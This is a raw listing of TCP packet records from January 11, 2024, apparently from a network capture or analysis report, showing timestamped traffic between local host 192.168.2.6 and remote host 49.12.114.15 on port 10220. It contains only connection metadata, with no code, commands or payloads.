Jan 11, 2024 13:45:14.269069910 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.269084930 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.269167900 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.269191027 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.269201994 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.269217968 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.269354105 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.269375086 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.269387960 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.269412994 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.269439936 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.269495964 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.269517899 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.269531012 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.269550085 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.269566059 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.269639969 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.269659996 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.269695997 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.269777060 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.269802094 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.269815922 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.269839048 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.269972086 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.269998074 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.270003080 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.270026922 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.270147085 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.270168066 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.270183086 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.270201921 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.270231009 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.270322084 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.270337105 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.270350933 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.270365000 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.270370960 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.270401955 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.270476103 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.270495892 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.270509005 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.270514011 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.270534992 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.270549059 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.270706892 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.270725965 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.270739079 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.270759106 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.270786047 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.270848036 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.270865917 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.270879030 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.270930052 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.270939112 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.270994902 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.271033049 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.271176100 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.271194935 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.271209002 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.271217108 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.271249056 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.271342993 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.271362066 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.271375895 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.271375895 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.271392107 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.271406889 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.271414042 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.271433115 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.271445990 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.271447897 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.271461964 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.271476984 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.271599054 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.271635056 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.271773100 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.271797895 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.271806955 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.271822929 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.271975994 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.271990061 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.272007942 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.272033930 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.272135019 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.272161007 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.272166967 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.272190094 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.272322893 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.272347927 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.272365093 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.272378922 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.272476912 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.272617102 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.272684097 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.272703886 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.272739887 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.272819042 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.272838116 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.272852898 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.272870064 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.273025990 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.273052931 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.273068905 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.273083925 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.273220062 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.273242950 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.273261070 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.273279905 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.273402929 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.273443937 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.273598909 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.273766041 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.273785114 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.273801088 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.273828983 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.273930073 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.273950100 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.273983002 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.274112940 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.274132013 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.274147034 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.274159908 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.274286032 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.274312019 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.274327993 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.274353027 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.274488926 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.274504900 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.274518013 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.274535894 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.274563074 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.274621964 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.274647951 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.274679899 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.274815083 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.274837017 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.274868011 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.274972916 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.275018930 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.275114059 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.275151014 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.275307894 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.275330067 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.275346041 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.275377989 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.275480986 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.275506973 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.275526047 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.275542021 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.275660992 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.275686026 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.275698900 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.275700092 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.275713921 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.275731087 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.275840044 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.275861979 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.275878906 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.275897026 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.276041031 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.276061058 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.276077986 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.276094913 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.276206017 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.276228905 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.276243925 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.276257992 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.276392937 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.276412964 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.276429892 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.276443005 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.276575089 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.276597023 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.276611090 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.276614904 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.276631117 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.276659966 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.276724100 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.276742935 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.276768923 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.276797056 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.276907921 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.276930094 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.276947975 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.276967049 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.276993036 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.277105093 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.277122021 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.277162075 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.277256966 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.277301073 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.277429104 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.277446985 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.277460098 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.277475119 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.277488947 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.277648926 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.277664900 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.277715921 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.277715921 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.277795076 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.277808905 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.277831078 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.277848959 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.277961969 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.277981997 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.277997971 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.278013945 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.278153896 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.278177023 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.278188944 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.278203964 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.278328896 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.278347969 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.278361082 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.278390884 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.278415918 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.278477907 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.278523922 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.278621912 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.278640032 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.278671026 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.278697014 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.278759956 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.278779030 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.278800011 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.278817892 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.278968096 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.278983116 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.279022932 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.279105902 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.279145956 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.279273987 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.279295921 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.279309988 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.279313087 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.279341936 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.279453993 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.279475927 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.279489994 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.279508114 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.279609919 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.279627085 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.279649973 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.279668093 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.279798031 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.279819965 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.279833078 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.279853106 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.279877901 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.279962063 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.279988050 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.280002117 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.280024052 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.280047894 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.280122042 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.280143976 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.280179977 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.280272961 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.280298948 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.280335903 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.451941013 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.451978922 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.451992035 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.452004910 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.452018976 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.452030897 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.452043056 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.452058077 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.452064991 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.452070951 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.452086926 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.452100039 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.452116966 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.452142954 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.452155113 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.452193975 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.452919960 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.452967882 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.452996016 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.453058958 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.453077078 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.453090906 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.453118086 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.453274012 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.453314066 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.453329086 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.453397036 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.453406096 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.453440905 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.453471899 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.453560114 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.453600883 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.453649998 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.453747034 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.453764915 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.453779936 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.453828096 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.453866005 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.453912973 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.453962088 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.453993082 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.454030037 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.454081059 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.454111099 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.454128981 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.454186916 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.454221010 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.454303026 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.454360008 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.454392910 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.454422951 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.454452991 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.454497099 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.454585075 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.454626083 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.454669952 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.454729080 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.454771042 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.454791069 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.454829931 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.454848051 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.455028057 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.455068111 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.455111027 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.455163956 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.455199003 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.455241919 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.455288887 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.455322027 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.455352068 CET	10220	49735	49.12.114.15	192.168.2.6
Jan 11, 2024 13:45:14.455384016 CET	49735	10220	192.168.2.6	49.12.114.15
Jan 11, 2024 13:45:14.455401897 CET	10220	49735	49.12.114.15	192.168.2.6
